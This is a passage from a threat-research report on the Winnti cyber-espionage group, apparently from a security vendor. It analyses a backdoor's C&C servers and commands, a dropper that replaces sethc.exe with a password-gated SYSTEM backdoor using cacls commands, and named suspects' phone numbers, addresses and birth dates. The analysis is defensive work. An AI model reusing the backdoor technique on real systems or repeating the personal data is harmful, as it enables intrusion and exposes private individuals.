Then the driver sets up some rootkit functionality to hide TCP connections by patching the system tcp/ip driver.
The injected DLL was called s.dll at the time of compilation and is yet another module for analysis.
S.dll File Size: 77825 MD5: 1716889fcee461e7cde5128c14d206cb Location: inside tcprelay.sys Creation time (UTC): 2012-09-05 17:27:04 Link time (UTC): 2011-03-01 09:07:12 This opens system event named 401d-b49a-93cf7a18e5b3 and sets event to fired state if it exists.
The code checks for proxy server configuration by impersonating a logged in user and fetching settings from the registry.
It can work both with Socks and HTTP proxies.
The module attempts to connect to the list of 8 domains, consisting of the following command and control servers (some of them are used more than once): a1.googletrait.com a1.nexongame.net a1.reegame.net mail.nexongame.net It automatically looks for open CC ports in the following order 53,443,8080,25,80,3690,1433,80.
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During connection over HTTP proxy it uses the following User-Agent string: MyApp/0.
The application is linked with libmysql.dll and Zlib (v.1.2.3).
Current Zlib version is 1.2.7 and was released on 2nd May 2012, while version 1.2.3 seems to be released in July 2005.
Zlib version 1.2.4 was released on March 2010, so the original module was probably designed somewhere after July 2005 and before March 2010.
Then it collects system information, which includes the following: Host name OS Service Pack version System default language ID and Code page List of local drives with free space Internal hardcoded identifier (12-21) Process commandline Logged in user name System directory path Amount of free system memory CPU name Terminal services port number Winnti More than just a game The information is stored in a buffer that begins with hardcoded header magic number: 0xDF1F1ED3.
The block is compressed using Zlib (v.1.2.3) compress2 method with compression level 8.
The data is compressed later and prepended by a 4-bytes header as shown below.
Format of a message sent to CC After submitting system information the module expects 4 byte response code from the server after which it sends one 00 byte to complete the handshake procedure.
Then the module expects an interactive communication session with the remote operator.
It provides capability to run various commands including (command names were defined during reverse engineering): process_list kill_process dir_list smbshare_list smbshare_mount dir_make file_delete file_move file_upload file_open file_write file_close file_find url_download_to_file process_start process_start_and_get_output dll_load dll_call_export screen_getsnapshot screen_set_cursor_position screen_send_input tcpproxy_open_connection tcpproxy_close_connection mysql_connect mysql_fetch mysql_disconnect driver_tcpreplay_interact tcpsession_close quit A command output is compressed using Zlib and sent to the server in asynchronous mode.
To summarize, it is obvious that this executable module is a backdoor, capable of taking screenshots, stealing files, downloading new Winnti More than just a game files from the Internet, starting and killing processes, including interactive Windows shell commands, file search and interaction with mysql database server.
Winnti More than just a game En.exe File Size: 405504 MD5: cf119a66d4c3e2355c1ec4ac316a7130 Location: C:\RECYCLER\en.exe Creation time (UTC): 2012-09-06 04:08:53 Link time (UTC): 2009-11-17 16:02:04 An icon embedded in en.exe is a default application icon from MS Visual Studio This application is a dropper, it fetches a resource called EXEFILE from current application and saves it into following paths: CURRENT DIR\dllcache\sethc.exe C:\WINDOWS\system32\sethc.exe Then the module uses undocumented Windows API from SFC_OS.dll, a function called SfcFileException to update the system version of C:\WINDOWS\system32\sethc.exe.
The file C:\WINDOWS\system32\sethc.exe (SET High Contrast) is to enable the High Contrast accessibility feature in order to allow people with visual impairments to log in.
SETHC is activated at logon screen with LeftAltLeftShiftPrintScreen key combination.
By replacing C:\Windows\SYSTEM32\SETHC.EXE with a custom application an attacker can run an arbitrary application with SYSTEM privileges running in zero session (in separate desktop space from normal applications).
After the new file replaced the system sethc.exe application, current module adjusts the privileges of sethc.exe to disable access to the file from any other application.
This is achieved by calling external system tools cacls.
Replace access rights to the files, allow everyone full access: cacls C:\WINDOWS\system32\sethc.exe /c /e /p everyone:f cacls CURRENT DIR\dllcache\sethc.exe /c /e /p everyone:f Winnti More than just a game Revoke access to the file for everyone, leave only system readonly access: cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r everyone cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r administrators cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r users cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r system cacls C:\WINDOWS\system32\sethc.exe /t /c /e /r Power Users cacls C:\WINDOWS\system32\sethc.exe /c /e /p system:r The dropper also changes the file timestamp.
It is set identical to C:\WINDOWS\system32\ntvdm.exe.
The dropper application has a resource section with Menu, Dialog templates and other information put by the MS Visual Studio Application Wizard.
It includes default system locale from the developers system, which is Chinese Simplified.
Chinese locale in resource section of En.exe The dropped application (from resource EXEFILE) is described below as sethc.exe.
Sethc.exe File Size: 20480 MD5: 3ba06424e8244f17a8d269c4d40c39c9 Location: resource section of En.exe Link time (UTC): 2009-05-16 07:09:35 This small file has very basic functionality.
It is written using MS Visual C with MFC and is used to render a simple dialog window.
Like En.exe it has resource section, describing the dialog window and default locale is set to Chinese Simplified.
Once it replaced local system sethc.exe tool it can be invoked when the desktop is locked with LeftCtrlLeftShiftPrintScr key combination.
This brings a dialog Window similar to system StickyKeys application.
However, if you press CtrlAltF you will immediately see a hidden input box.
If you enter ydteam in the input box and press CtrlAltK, the application will welcome you with a message box and will execute a TaskManager.
Winnti More than just a game Fake SetHighContrast application in action As far as sethc.exe is executed with privileges of local system, the task manager also inherits these privileges and is capable of killing any other process as well as starting any other application with system rights.
Apparently, this is a backdoor to the system.
An attacker can run cmd.exe, add local users with administrative privileges and log in.
We checked if the tool was publicly shared on the Internet, but couldnt find a page distributing it freely.
That is why we assume that it is developed and used privately.
Full list of CCs Below is full list of all collected domains and IP-addresses of CC servers have they been mentioned in initial settings of c_20100.nls or hidden in text messages at public places in Internet: CCs from public resources: 27.115.103.198:8885 27.115.103.195:8885 114.222.36.32:10000 27.115.103.195:23456 27.115.103.195:10000 nx2.joymax.in:80 nx3.joymax.in:80 nx2.intercpu.com:25 (174.36.138.30) nx3.intercpu.com:25 (174.36.138.30) nx3.interdriver.net:53 (119.240.212.110) stan227.guicp.net:8008 Winnti More than just a game Hardcoded CC from the malware: service.interdriver.net:443 (98.126.218.64, 199.188.106.231) service.googlefiles.net:53 (98.126.218.64, 199.188.106.231) service.dell-support.org:25 service.hp-supports.com:80 tank.hja63.com a1.googletrait.com a1.nexongame.net a1.reegame.net mail.nexongame.net Interestingly, there is an overlap of CCs from public resources and hardcoded domains: nx3.interdriver.net:53 service.interdriver.net:443 The nx3.interdriver.net was published by awertasegfaeyahoo.com and was discovered at http://awertasegfae.blogspot.ru/2011/10/first-test.html.
This means that at least the individual who owns awertasegfaeyahoo.com for sure belongs to the same gang who attacked CompanyXYZ.
http://awertasegfae.blogspot.ru/2011/10/first-test.html Winnti More than just a game Source of Attacks So, who is behind Winnti?
While analyzing the malicious files that we detected during our investigations we found some details which may cast some light on the source of the attacks.
As part of our investigation, we monitored exactly what the cybercriminals did on an infected PC.
In particular, they downloaded an auxiliary program ff._exe to the Config.
Msi folder on the infected machine.
This code searches for HTML, MS Excel, MS Word, Adobe, PowerPoint and MS Works documents and text files (.txt) on the hard drive.
Debugging lines were found in ff._exe_ that possibly point to the nationality of the cybercriminals.
They were not immediately noticeable because they looked like this in the editor: However, during a detailed analysis it emerged that the text is in Chinese Simplified GBK coding.
This is what these lines look in Chinese: Winnti More than just a game Below is a machine translation of this text into English: Not identify the type of file system Below is a translation of the text by interpreter Open the volume failed Failed to get the file system type Failed to read volume Volumes do not open or open failed Navigate to the root directory of the error Error memory read pointer Memory is too small File does not exist Failed to get the file mft index sector Access to file data fail Volume and open volumes are not the same The same volume and open volume In addition, cybercriminals used the AheadLib program to create malicious libraries (for details, see the second part of the article).
This is a program with a Chinese interface.
Chinese text was also found in one of the components of the malicious program CmdPlus.dll plug-in: Translation: The process is complete It would appear that the attackers can at least speak Chinese.
However, not everything is so clear cut: because the file transfer plug-in has not been implemented entirely safely, a command which includes the attackers local path (where the file comes from and where it is saved to) arrives during the process of downloading/uploading files on the infected system.
While monitoring the cybercriminals activity on the infected machine, we noticed they uploaded the certificate they found in the infected system, and the network traffic reflected the local path indicating the place where they saved the file on their computer: These characters appear to be Korean, meaning desktop.
This means the attackers were working on a Korean Windows operating system.
Therefore, we can presume that the attack is not exclusively the work of Chinese- speaking cybercriminals.
Winnti More than just a game The Search for Attackers (XYZ incident) Locating the attacker is one of the most non-trivial parts of the research.
The attackers normally do not leave any traces in the malware that can be directly bound to their real identities.
That is why we have to use all available bits of information that seems to find other unique related content on the Internet or any other available data sources.
One of the important stages is to extract unique identifiers/nicknames/tags that can be discovered on the Internet and after that find individuals who are related to creation or distribution of this content.
YDTeam Hacking Group The string ydteam looked non-random and we decided to check it on the Internet.
It turned out that YDteam is a hackers group name and has a lot of references on Chinese segment of the Internet: http://zhikou.yo2.cn/ - probably a team member web blog http://www.exploit-db.com/exploits/11053/ - PoC exploit for Chinese media player by the team member called t- bag Another team member called b4che10r according to http://zzsky.5d6d.net/archiver/tid-127.html http://hi.baidu.com/0x255/item/22cbbfe97ca9963c87d9de41 http://www.indetectables.net/viewtopic.php?f87t22185viewprint b4che10rs personal blog: http://blog.taskkill.net/ Another team member called Shalyse according to http://forum.cnsec.org/thread-50222-1-1.html Another team member called killer according to http://zzsky.5d6d.net/archiver/tid-127.html There was a website ydteam.cn that seems to be related to the activity of the group.
According to the domaintools.com database, it was registered on 2009-10-06 15:12 and put on hold around 2010-10-08.
The original WHOIS information from domaintools.com: Domain Name: ydteam.cn ROID: 20091006s10001s23027085-cn Domain Status: ok Registrant Organization: Registrant Name: Administrative Email: wn6805126.com Sponsoring Registrar: Name Server:ns.xinnetdns.com Name Server:ns.xinnet.cn http://zhikou.yo2.cn/ http://www.exploit-db.com/exploits/11053/ http://zzsky.5d6d.net/archiver/tid-127.html http://hi.baidu.com/0x255/item/22cbbfe97ca9963c87d9de41 http://www.indetectables.net/viewtopic.php?f87t22185viewprint http://blog.taskkill.net/ http://forum.cnsec.org/thread-50222-1-1.html http://zzsky.5d6d.net/archiver/tid-127.html Winnti More than just a game Registration Date: 2009-10-06 15:12 Expiration Date: 2010-10-06 15:12 Registrant name (Wei Nan) seems to be represented in the mailbox wn6805126.com, which could mean the owner of the website used real identity.
The domain was most likely registered by the team leader.
The email itself was used on several other websites.
For example http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0 wordBCAFC4FED2BBD6D0 The webpage above has a post offering to help with cheap shopping online.
That is most likely related to a fraudulent activity of the email owner (stolen Internet-banking credentials or credit card information).
The same page reveals a QQ id of that individual and a username: QQ: 97676416 Username: Another page http://www.gtvod.com/gtvod/jsp/public/personal/index.jsp?id20100127213936126005 shows information about the user registered with name wn3118 and the same email: E-mail: wn6805126.com Date of Birth: 1992-12-21 Marital Status: Unmarried Another page http://tieba.baidu.com/p/652667782 has a message from profile low-key, wn (which links to wn6805126.com).
Profile information reveals gender of the individual: http://www.baidu.com/p/E781ACE4BD8EE8B083E4B8B6wn/detail Gender: Male There are few essays in Chinese probably written by the individual owning wn6805126.com while studying at Junior High School: (posted on 2008-09-24): http://www.zww.cn/zuowen/html/25/258151.htm (posted on 2008-10-05) http://www.zww.cn/zuowen/html/25/263081.htm (posted on 2009-04-08): http://www.zww.cn/zuowen/html/51/350029.htm A page from zww.cn also shows some details about the author: http://www.zww.cn/zw/myzw.asp?uCAA7C8A5B0AE Birthday: 1992-12-21 (confirms previous finding) QQ: 251985076 Joined: 2008-09-16 22:35:00 Last login: 2009-06-09 10:37:00 mailto:wn6805126.com http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0wordBCAFC4FED6D0 http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0wordBCAFC4FED6D0 http://tieba.baidu.com/f?ct335544320lm0rn30tnbaiduPostBrowsersc0z633089789pn0wordBCAFC4FED6D0 http://www.gtvod.com/gtvod/jsp/public/personal/index.jsp?id20100127213936126005 mailto:wn6805126.com http://tieba.baidu.com/p/652667782 mailto:wn6805126.com http://www.baidu.com/p/wn/detail http://www.zww.cn/zuowen/html/25/258151.htm http://www.zww.cn/zuowen/html/25/263081.htm http://www.zww.cn/zuowen/html/51/350029.htm http://www.zww.cn/zw/myzw.asp?uB0AE Winnti More than just a game Searching for the QQ id 251985076 brings to http://blog.sina.com.cn/dahuadl that has User mobile number: 13847416805 The hackers team also seemed to own ydteam.com for some time according to reference at http://zzsky.5d6d.net/archiver/tid-127.html Domaintools.com shows that the domain was registered to a Chinese individual from 2009-06-03 to 2011-08-22.
After that WHOIS information was protected by a Privacy protection service.
Here is WHOIS data at the time of domain registration: Admin Name........... zheng wenlong Admin Address........ tianjin jiefangdongjie 63hao Admin Address........ yancheng Admin Address........ 300560 Admin Address........ fujian Admin Address........ CHINA Admin Email.......... vydteamyahoo.cn Admin Phone.......... 86.13652452428 Please note, that 8613652452428 is a Chinese local cell phone number.
Domaintools.com has also preserved a screenshot of the website while it was online on 2010-02-25.
It shows some of the team member names mentioned above.
http://blog.sina.com.cn/dahuadl http://zzsky.5d6d.net/archiver/tid-127.html mailto:vydteamyahoo.cn Winnti More than just a game Ydteam website as it was in 2010 Another trace to the source of attack is based on email sender IP address.
The emails were sent from 118.142.11.114.
According to robtex.com, there are 2 domain names that share this IP: pad62.com ru.pad62.com Pad62.com was created in 2011-06-05, on the date of registration if had non-protected WHOIS information, according to domaintools.com: Registrant: ji shao Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China Winnti More than just a game Registered through: GoDaddy.com, Inc. Domain Name: PAD62.COM Created on: 05-Jun-11 Expires on: 05-Jun-12 Last Updated on: 05-Jun-11 Administrative Contact: shao, ji huisengaunrsina.com Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China 1-330-040-0367 We checked which other domains are associated with the WHOIS information above and found the following domain names: 100-d.com sm08.com cx-cx.com 6-pro.com aohoe.info besheo.info dyyerre.info jiaoyouliaotian.org tao5178.info One more route is to check the CC of the initial dropper/downloader module.
This was tank.hja63.com.
Acccording to domain tools, hja63.com had non-protected WHOIS information in 2011: Registrant: ji shao Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China Registered through: GoDaddy.com, Inc. Domain Name: HJA63.COM Created on: 05-Jun-11 Expires on: 05-Jun-12 Last Updated on: 05-Jun-11 Administrative Contact: shao, ji huisengaunrsina.com Xuan Die Xiao Jie 418 Kao peng hu, xiang gang 064562 China 1-330-040-0367 When we checked, tank.hja63.com resolved to 173.234.184.45 (owned by DiaHosting Limited, USA), while hja63.com resolved to 68.178.232.100 (GoDaddy ISP server).
Winnti More than just a game Bot Control Messages On Public Resources Analysis of the file c_20100.nls revealed additional information leading to probable attackers.
Looking for identifiers (used as message boundaries, or delimiters) B9273C17 and B6A74634 specified in this malicious file on Internet we found the following pages where the attackers left messages for the bots: http://osdir.com/ml/openmeetings-dev/2011-10/msg00214.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00215.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00241.html An encoded CC address for a bot on a public webpage Another place of just mentioned forum thread: https://groups.google.com/group/openmeetings- dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a?show_docida700f22be192482apli1 https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011- 10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011- 103F http://osdir.com/ml/openmeetings-dev/2011-10/msg00214.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00215.html http://osdir.com/ml/openmeetings-dev/2011-10/msg00241.html https://groups.google.com/group/openmeetings-dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a?show_docida700f22be192482apli1 https://groups.google.com/group/openmeetings-dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a?show_docida700f22be192482apli1 https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011-10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011-103F https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011-10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011-103F https://groups.google.com/group/openmeetings-dev/tree/browse_frm/month/2011-10/a8509400cef9a8ac?rnum221_done2Fgroup2Fopenmeetings-dev2Fbrowse_frm2Fmonth2F2011-103F Winnti More than just a game Some more server addresses for the bot Here, we see these emails used as commenters identifiers: Jimycocogmail.com awertase...yahoo.com Jimycocogmail.com most probably refers to Jimycocowell which is a username that pops up further.
Searching for awertase brought another forum thread where ciphered data for the same bot appeared: http://osdir.com/ml/openmeetings-dev/2011-09/msg00364.html Yet another message for bots from awertase... https://groups.google.com/groups/unlock?_done/group/openmeetings-dev/browse_thread/thread/ccfeb8242a4f11ec/a700f22be192482a3Fshow_docid3Da700f22be192482amsg1aa911d328125f32_blank http://osdir.com/ml/openmeetings-dev/2011-09/msg00364.html Winnti More than just a game The full email behind awertase...xxxxxxxx seems to be awertasegfaeyahoo.com according to http://awertasegfae.blogspot.ru/2011/10/first-test.html http://hi.baidu.com/alonecode/item/6936f85a3d98ce3533e0a9ed Another webpage with message for bots According to Figure 32, mer4en7y and alonecode (from the URL of the page) are nicknames which are related to the user of the Baidu blog platform where messages for a bot were left.
Google Search for the nickname mer4en7y returned 5490 results.
This is a very active user that posts messages for this type of bot.
The first results lead to hacker forums and IT-security specific web-platforms.
The same nickname has appeared on a well- known Romanian Security Team forum.
Mer4en7y Individual Activity mer4en7y username at Romanian hackers forum http://awertasegfae.blogspot.ru/2011/10/first-test.html http://hi.baidu.com/alonecode/item/6936f85a3d98ce3533e0a9ed Winnti More than just a game Mer4en7y at Silic Group Hacker Forum According to the following, Mer4en7y submitted a vulnerability found in Weihai City Commercial Bank system: http://wooyun.org/bugs/wooyun-2010-011002 http://wooyun.org/bugs/wooyun-2010-011002 Winnti More than just a game Mer4en7ys activity on vulnerability research Favorite videos and tutorials of Mer4en7y: http://www.tdcqjslt.com/u.php?uid1918 Mer4en7ys favorites confirm malware-related activities Mer4en7ys micro-blogging page at t.qq.com: http://t.qq.com/mer4en7y Alias of that profile is translated as watching a rain.
http://www.tdcqjslt.com/u.php?uid1918 http://t.qq.com/mer4en7y Winnti More than just a game Mer4en7ys microblogging profile A user with nickname d4nr4n (http://t.qq.com/d4nr4n) is posting a message where mer4en7y is mentioned: Mer4en7ys relation to Nanjing Google translation: mentioned individuals go to Nanjing tomorrow xx training institutions to maintain four months C learning, seeking Nanjing-based friends of the exchange Mer4en7y at yoyo2008.com: http://www.yoyo2008.com/home.php?modspaceuid41498 http://t.qq.com/d4nr4n http://www.yoyo2008.com/home.php?modspaceuid41498 Winnti More than just a game Mer4en7y profile at yoyo2008.com One of two friends of Mer4en7y in yoyo2008 social network is a user named mayuan which seems to be from Xinjiang and a graduate of Judicial Police School according to shared private information out there: Mer4en7ys contact profile at yoyo2008.com http://u.pintour.com/uid-b1bf56e230cc42d9bfa003a7718888d2/ http://u.pintour.com/uid-b1bf56e230cc42d9bfa003a7718888d2/ Winnti More than just a game Another Mer4en7y profile show Nanjing as a hometown Mer4en7ys exploit has been involved in the penetration of public radio service ftp server (according to WHOIS information this domain belongs to Xian Municipal Bureau of Radio and Television).
A trace of cyberattack based on Mer4en7ys code As we can see here Mer4en7y had an email address associated with 90sec hackers team.
Another reference on the net shows that Mer4en7y is after sourcecode of proprietary products (probably udf.dll from Roxio Inc): http://www.uedbox.com/udf-dll-source/ Mer4en7y discussing udf.dll source-code and cmdshell http://www.uedbox.com/udf-dll-source/ Winnti More than just a game The following confirms that Mer4en7y is a member of 90sec group.
The group website is located at http://www.90sec.org/: 90Sec team about-page Mer4en7y replies on job offer posted at 90sec forum (someone wanted to hire computer exerts with very special knowledge): https://forum.90sec.org/viewthread.php?actionprintabletid2012 Rough translation of job offer from Chinese: Subject: Looking for information security researcher From: Southland sword Time: 2012-04-06 00:38 Subject: Security researcher job Responsibilities: 1.
Full target penetration alone or with a team depending on available resources 2.
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130
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Penetration testing report and recommendations Technical requirements: 1.
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data/reports_final/0130.txt
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Penetration testing report and recommendations Technical requirements: 1.
Knowledge of penetration testing, methods, processes, proficiency in a variety of penetration testing tools 2.
Knowledge of common Web development languages (asp, php, jsp), experience with SQL-injection, XSS, common websecurity exploits and patches 3.
Experience with all kinds of operating systems and databases for common security vulnerabilities 4.
Good verbal and written language skills 5.
Be able to work in a team individuals who lose trust, do not listen to the teamleader and not accepting the rules will be kicked out http://www.90sec.org/ https://forum.90sec.org/viewthread.php?actionprintabletid2012 Winnti More than just a game Work Location: Guangdong (OR Guangzhou Shenzhen) Baochibaozhu package, Relatively free playing time.
Salary: monthly allocation of the total amount of work and cooperation share more than 1W.
Vacancies: 5 people For candidates: first contact me (preferably work resume), after my check the resume will be passed to the head coordinator for arranging a personal meeting.
Salary: free meal and apartments, office location is in a senior villa suite of 200 square meters, computers are available but please bring your own hard drive with environment and tools you are familiar with.
Even a single completed project will provide you with money for your monthly expenses.
Powerful background.
No comments Tho who are competent, please contact: Email: Infoseccntv.cn QQ: admininessus.com And Mer4en7ys replied to this job offer: Mer4en7ys comment about job offer Which can be translated as: Arent you recruiting people for APT?
Guangzhou is too far, but anyway I support it.
There are some interesting comments in the mentioned forum thread regarding reference Powerful background in job offer.
People in the thread speculated that it could mean the work is supported by the government.
Mer4en7y is publishing an exploit: http://www.hackqing.com/index.asp?FoxNews129.html http://www.hackqing.com/index.asp?FoxNews129.html Winnti More than just a game Mer4en7ys exploit code in PHP Mer4en7y published a modified Perl script for network scan: http://www.2cto.com/kf/201110/109200.html http://www.2cto.com/kf/201110/109200.html Winnti More than just a game Mer4en7ys network scanner on Perl Jimmycocowell Individual Activity Lets continue with other places where delimiters have been found: https://www.myspace.com/574064782/blog Another bot control message by Wz https://www.myspace.com/574064782/blog Winnti More than just a game http://www.wuhanbike.net/home.php?modspaceuid15845doprofile Another bot control message by (Run) http://jimycocowell.blogspot.ru/ Another bot control message by Jimmycocowell http://www.wuhanbike.net/home.php?modspaceuid15845doprofile http://jimycocowell.blogspot.ru/ Winnti More than just a game The attacker left two messages.
The very first one is labeled as first home/ first love and contains a ciphered CC domain as described above, i.e.
CC domain is encrypted with RC4 algorithm and its hex binary value is presented in text format between delimiters.
But the next message dubbed second contains a ciphered CC domain too but it is encoded in another way: The initial CC domain is XORed with fixed byte value and the resulted data is transformed using BASE64 encoding.
The resulted text is inserted between the same delimiters.
By all appearances this method is used in the next version of the backdoor which is the subject of current research (see c_20100.NLS).
It is also possible that programs with support of either this or that encryption could be used simultaneously in the frame of one attack.
Between all found messages for the bot the second type of messages (BASE64) is significantly prevalent.
A link to this Jimycocowell home is also present at following place of bitgodgod user: http://www.blogger.com/profile/06442609461818597659 Jimmycocowell registration date and alias Bitgodgod and Bitbugbug We have located one sample of Winnti malware with a hardcoded CC: mail.7niu.com.
Domaintools information about the domain: Domain Name : 7niu.com PunnyCode : 7niu.com Creation Date : 2006-06-11 00:00:00 Updated Date : 2012-01-27 21:35:57 Expiration Date : 2016-06-11 00:00:00 Registrant: Organization : qi tou niu Name : xibei jiao Address : beijing City : beijing Province/State : Beijing Country : CN Postal Code : 100000 http://www.blogger.com/profile/06442609461818597659 Winnti More than just a game Administrative Contact: Name : xibei jiao Organization : qi tou niu Address : beijing City : beijing Province/State : Beijing Country : beijing Postal Code : 100000 Phone Number : 86--1321333333 Fax : 86--010555555 Email : bit_bugbugtom.com Technical Contact: Name : xibei jiao Organization : qi tou niu Address : beijing City : beijing Province/State : Beijing Country : CN Postal Code : 100000 Phone Number : 86--1321333333 Fax : 86--010555555 Email : rainetang.com You can see how similar bitbugbug and bitgodgod.
Both are directly related to Winnti activity.
The email address bit_bugbugtom.com also can be found on Chinese websites about home rentals: http://oldhouse.0379home.com/RentView-1108.html http://reversewhois.domaintools.com/?emailacb9a265f882adc0eee5704ee16ce081 http://reversewhois.domaintools.com/?emailb86506cc453566ac7ad151417f4fdaa8 http://oldhouse.0379home.com/RentView-1108.html Winnti More than just a game Yang Individual Activity We have located another individual calling himself Yang.
He distributed bot control commands and was quite active on the internet as well.
http://yang8559420.blog.163.com/ Yang8559420 blog Search for yang8559420 brought some results: Yang is a distributor of resources (maps or programs) for applications based on ArcGIS Engine (http://www.esri.com/software/arcgis/arcgisengine) http://shop65775432.taobao.com/?spma1z0b.7.2-2442034955.3.rfLsIS http://yang8559420.blog.163.com/ http://www.esri.com/software/arcgis/arcgisengine http://shop65775432.taobao.com/?spma1z0b.7.2-2442034955.3.rfLsIS Winnti More than just a game Yang offered ArcGIS engine sourcecode for sale Information about the seller: http://shop65775432.taobao.com/view_page-74445421.htm Yang8559420 trader profile (Chinese) http://shop65775432.taobao.com/view_page-74445421.htm Winnti More than just a game Yang8559420 trader profile (English Google-translation) Yang is certified at alipay.com (see field Certification above): http://help.alipay.com/lab/help_detail.htm?help_id211779 Alipay certification Yang left some feedback about a coat: http://www.yifa8.com/4/766/770/763311.html http://help.alipay.com/lab/help_detail.htm?help_id211779 http://www.yifa8.com/4/766/770/763311.html Winnti More than just a game Yang comments on the internet (private life related) Yang is selling glasses: http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_ 16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC 2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252 526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D722yang85594202 2cd14hlructclnkglru http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 http://webcache.googleusercontent.com/search?qcache:susBSuR_5zoJ:re.taobao.com/search3Frefpid3Dmm_16823808_2252954_879163326keyword3D2525D52525E62525CB2525BF2525202525C12525AC2525D22525C22525C82525B92525202525C72525E52525B22525D626back3Dlo125253D0252526lo225253D0252526nt25253D126isinner3D126yp4p_page3D326posid3D7 Winnti More than just a game Glasses for sale by Yang http://bbs.iaixue.com/home.php?modspaceuid217doprofile User: lovemeyang (probably related to Yang).
Signature is a message for a bot: Another message for bot by lovemeyang So, both Yang8559420 and Lovemeyang messages go with signature: http://bbs.iaixue.com/forum.php?modviewthreadtid261 http://bbs.iaixue.com/home.php?modspaceuid217doprofile http://bbs.iaixue.com/forum.php?modviewthreadtid261 Winnti More than just a game Same signature used by Yang8559420 and Lovemeyang http://bbs.iaixue.com/forum.php?modviewthreadtid612 Signature by Lovemeyang Search for lovemeyang returned too much data, making it difficult tofilter out those identifying possible attackers false positives are highly-probable.
However, its worth mentioning that the following link refers to an account http://bbs.iaixue.com/forum.php?modviewthreadtid612 Winnti More than just a game with the lovemeyang username and the user has earlier posted blogs relating to IT-security, so possibly the user is that Yang who is involved in the attack: http://lovemeyang.blog.51cto.com/659880/195451 Yang and relation to a malware http://lovemeyang.blog.51cto.com/659880/195451 Winnti More than just a game Conclusions Our research revealed long-term oriented large scale cyber-espionage campaign of a criminal group with Chinese origins.
These attacks are not new, many other security researchers have published details of various cybercriminal groups coming from China.
However, the current hacking group has distinguishable features that make it stand out among others: - Massive abuse of digital signatures the attackers used digital signatures of one victim company to attack other companies and steal more digital certificates - Usage of kernel level 64-bit signed rootkit - Abusing great variety of public Internet resources to store control commands for the malware in an encrypted form - Sharing/selling stolen certificates to other groups that had different objectives (attacks against Uyghur and Tibetan activists) - Stealing source code and other intellectual property of software developers in online gaming industry.
The Winnti hacking group is not the first and not the last.
By making our research paper available to the public, we hope that it will not only spread the knowledge among security researchers but also will help system administrators and security officials in all type of organizations around the world to learn the tactics and tools of the perpetrators.
We hope that our shared knowledge will help to better protect IT infrastructure.
We also hope that our message will reach Chinese law enforcement agencies.
If the current research is not enough to initiate criminal investigation, we hope that it will be enough at least to make some checks and probably prevent other malicious activity from reaching out foreign countries and business within China.
